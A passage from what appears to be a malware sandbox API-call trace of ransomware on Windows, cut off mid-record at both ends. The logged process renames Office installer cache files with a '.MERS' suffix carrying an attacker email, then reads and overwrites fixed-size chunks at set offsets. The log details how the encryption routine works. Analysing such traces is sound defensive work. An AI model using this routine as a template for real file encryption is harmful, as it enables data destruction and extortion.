(lpString=".ppt") returned 4 [0036.460] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0036.460] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.460] lstrlenW (lpString=".zip") returned 4 [0036.461] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0036.461] lstrlenW (lpString=".rar") returned 4 [0036.461] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0036.461] lstrlenW (lpString=".bz2") returned 4 [0036.461] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0036.461] lstrlenW (lpString=".7z") returned 3 [0036.461] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0036.461] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.461] lstrlenW (lpString=".dbf") returned 4 [0036.461] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0036.461] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.461] lstrlenW (lpString=".1cd") returned 4 [0036.461] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0036.461] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\PublisherMUI.msi") returned 79 [0036.461] lstrlenW (lpString=".jpg") returned 4 [0036.461] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0036.461] lstrcmpiW (lpString1=".cab", lpString2=".MERS") returned -1 [0036.461] lstrlenW (lpString="OutlkLR.cab") returned 11 [0036.461] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0036.462] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=14819276) returned 1 [0036.462] CloseHandle (hObject=0x1a8) returned 1 [0036.462] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab")) returned 0x2020 [0036.462] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0036.462] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0036.463] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlklr.cab.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0036.463] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0036.463] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.463] ReadFile (in: hFile=0x1a8, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.562] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.562] ReadFile (in: hFile=0x1a8, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.585] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0036.585] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.585] ReadFile (in: hFile=0x1a8, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.630] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.630] WriteFile (in: hFile=0x1a8, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fcb0*=0xc0102, lpOverlapped=0x0) returned 1 [0037.027] SetEndOfFile (hFile=0x1a8) returned 1 [0037.027] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3fd7e38 [0037.031] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.031] WriteFile (in: hFile=0x1a8, lpBuffer=0x3fd7e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd7e38*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.032] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x4b5fee, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.032] WriteFile (in: hFile=0x1a8, lpBuffer=0x3fd7e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd7e38*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.033] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xde1fcc, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0037.033] WriteFile (in: hFile=0x1a8, lpBuffer=0x3fd7e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd7e38*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0037.034] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3fd7e38 | out: hHeap=0x5f0000) returned 1 [0037.034] CloseHandle (hObject=0x1a8) returned 1 [0040.415] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0040.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0040.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0040.415] lstrlenW (lpString=".doc") returned 4 [0040.415] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0040.415] lstrlenW (lpString=".docx") returned 5 [0040.415] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0040.415] lstrlenW (lpString=".pdf") returned 4 [0040.415] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0040.415] lstrlenW (lpString=".xls") returned 4 [0040.415] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0040.416] lstrlenW (lpString=".xlsx") returned 5 [0040.416] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0040.416] lstrlenW (lpString=".ppt") returned 4 [0040.416] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0040.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0040.416] lstrlenW (lpString=".zip") returned 4 [0040.416] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0040.416] lstrlenW (lpString=".rar") returned 4 [0040.416] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0040.416] lstrlenW (lpString=".bz2") returned 4 [0040.416] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0040.416] lstrlenW (lpString=".7z") returned 3 [0040.416] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0040.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0040.416] lstrlenW (lpString=".dbf") returned 4 [0040.416] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0040.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0040.416] lstrlenW (lpString=".1cd") returned 4 [0040.416] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0040.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0040.416] lstrlenW (lpString=".jpg") returned 4 [0040.416] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0040.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0040.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0040.416] lstrlenW (lpString=".doc") returned 4 [0040.417] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0040.417] lstrlenW (lpString=".docx") returned 5 [0040.417] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0040.417] lstrlenW (lpString=".pdf") returned 4 [0040.417] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0040.417] lstrlenW (lpString=".xls") returned 4 [0040.417] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0040.417] lstrlenW (lpString=".xlsx") returned 5 [0040.417] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0040.417] lstrlenW (lpString=".ppt") returned 4 [0040.417] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0040.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0040.417] lstrlenW (lpString=".zip") returned 4 [0040.417] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0040.417] lstrlenW (lpString=".rar") returned 4 [0040.417] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0040.417] lstrlenW (lpString=".bz2") returned 4 [0040.417] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0040.417] lstrlenW (lpString=".7z") returned 3 [0040.417] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0040.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0040.417] lstrlenW (lpString=".dbf") returned 4 [0040.417] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0040.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0040.417] lstrlenW (lpString=".1cd") returned 4 [0040.417] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0040.417] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlkLR.cab") returned 74 [0040.417] lstrlenW (lpString=".jpg") returned 4 [0040.417] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0040.418] lstrcmpiW (lpString1=".cab", lpString2=".MERS") returned -1 [0040.418] lstrlenW (lpString="Proof.cab") returned 9 [0040.418] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0040.567] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=13642474) returned 1 [0040.567] CloseHandle (hObject=0x1a8) returned 1 [0040.567] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab")) returned 0x2020 [0040.567] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0040.567] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0040.568] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.cab.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0040.568] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0040.568] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.568] ReadFile (in: hFile=0x1a8, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.707] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.707] ReadFile (in: hFile=0x1a8, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.844] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0040.844] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.844] ReadFile (in: hFile=0x1a8, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.961] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.961] WriteFile (in: hFile=0x1a8, lpBuffer=0x3c70020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x314fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c70020*, lpNumberOfBytesWritten=0x314fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0041.172] SetEndOfFile (hFile=0x1a8) returned 1 [0041.172] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3f32008 [0041.283] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.283] WriteFile (in: hFile=0x1a8, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.301] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x4563a3, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.301] WriteFile (in: hFile=0x1a8, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.301] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0xcc2aea, lpNewFilePointer=0x0, dwMoveMethod=0x314fc7c | out: lpNewFilePointer=0x0) returned 1 [0041.301] WriteFile (in: hFile=0x1a8, lpBuffer=0x3f32008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x314fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f32008*, lpNumberOfBytesWritten=0x314fc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.303] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3f32008 | out: hHeap=0x5f0000) returned 1 [0041.303] CloseHandle (hObject=0x1a8) returned 1 [0043.441] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0043.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0043.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0043.441] lstrlenW (lpString=".doc") returned 4 [0043.441] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.441] lstrlenW (lpString=".docx") returned 5 [0043.441] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0043.441] lstrlenW (lpString=".pdf") returned 4 [0043.441] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.441] lstrlenW (lpString=".xls") returned 4 [0043.441] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.442] lstrlenW (lpString=".xlsx") returned 5 [0043.442] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0043.442] lstrlenW (lpString=".ppt") returned 4 [0043.442] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0043.442] lstrlenW (lpString=".zip") returned 4 [0043.442] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.442] lstrlenW (lpString=".rar") returned 4 [0043.442] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.442] lstrlenW (lpString=".bz2") returned 4 [0043.442] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.442] lstrlenW (lpString=".7z") returned 3 [0043.442] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0043.442] lstrlenW (lpString=".dbf") returned 4 [0043.442] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0043.442] lstrlenW (lpString=".1cd") returned 4 [0043.442] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0043.442] lstrlenW (lpString=".jpg") returned 4 [0043.442] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0043.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0043.442] lstrlenW (lpString=".doc") returned 4 [0043.442] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0043.442] lstrlenW (lpString=".docx") returned 5 [0043.442] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0043.442] lstrlenW (lpString=".pdf") returned 4 [0043.442] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0043.442] lstrlenW (lpString=".xls") returned 4 [0043.442] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0043.442] lstrlenW (lpString=".xlsx") returned 5 [0043.442] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0043.442] lstrlenW (lpString=".ppt") returned 4 [0043.442] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0043.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0043.443] lstrlenW (lpString=".zip") returned 4 [0043.443] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0043.443] lstrlenW (lpString=".rar") returned 4 [0043.443] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0043.443] lstrlenW (lpString=".bz2") returned 4 [0043.443] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0043.443] lstrlenW (lpString=".7z") returned 3 [0043.443] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0043.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0043.443] lstrlenW (lpString=".dbf") returned 4 [0043.443] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0043.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0043.443] lstrlenW (lpString=".1cd") returned 4 [0043.443] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0043.443] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.cab") returned 81 [0043.443] lstrlenW (lpString=".jpg") returned 4 [0043.443] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0043.443] lstrcmpiW (lpString1=".msi", lpString2=".MERS") returned 1 [0043.443] lstrlenW (lpString="ProjectMUI.msi") returned 14 [0043.443] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0043.453] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=2511872) returned 1 [0043.453] CloseHandle (hObject=0x1c0) returned 1 [0043.453] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi")) returned 0x2020 [0043.453] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0043.453] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0043.454] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0043.454] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc6c | out: lpNewFilePointer=0x0) returned 1 [0043.454] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.454] ReadFile (in: hFile=0x1c0, lpBuffer=0x3c70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c70058*, lpNumberOfBytesRead=0x314fc38*=0x40000, lpOverlapped=0x0) returned 1 [0043.647] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0xcc6aa, lpNewFilePointer=0x0, dwMoveMethod=0x314fc2c | out: lpNewFilePointer=0x0) returned 1 [0043.647] ReadFile (in: hFile=0x1c0, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x314fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, 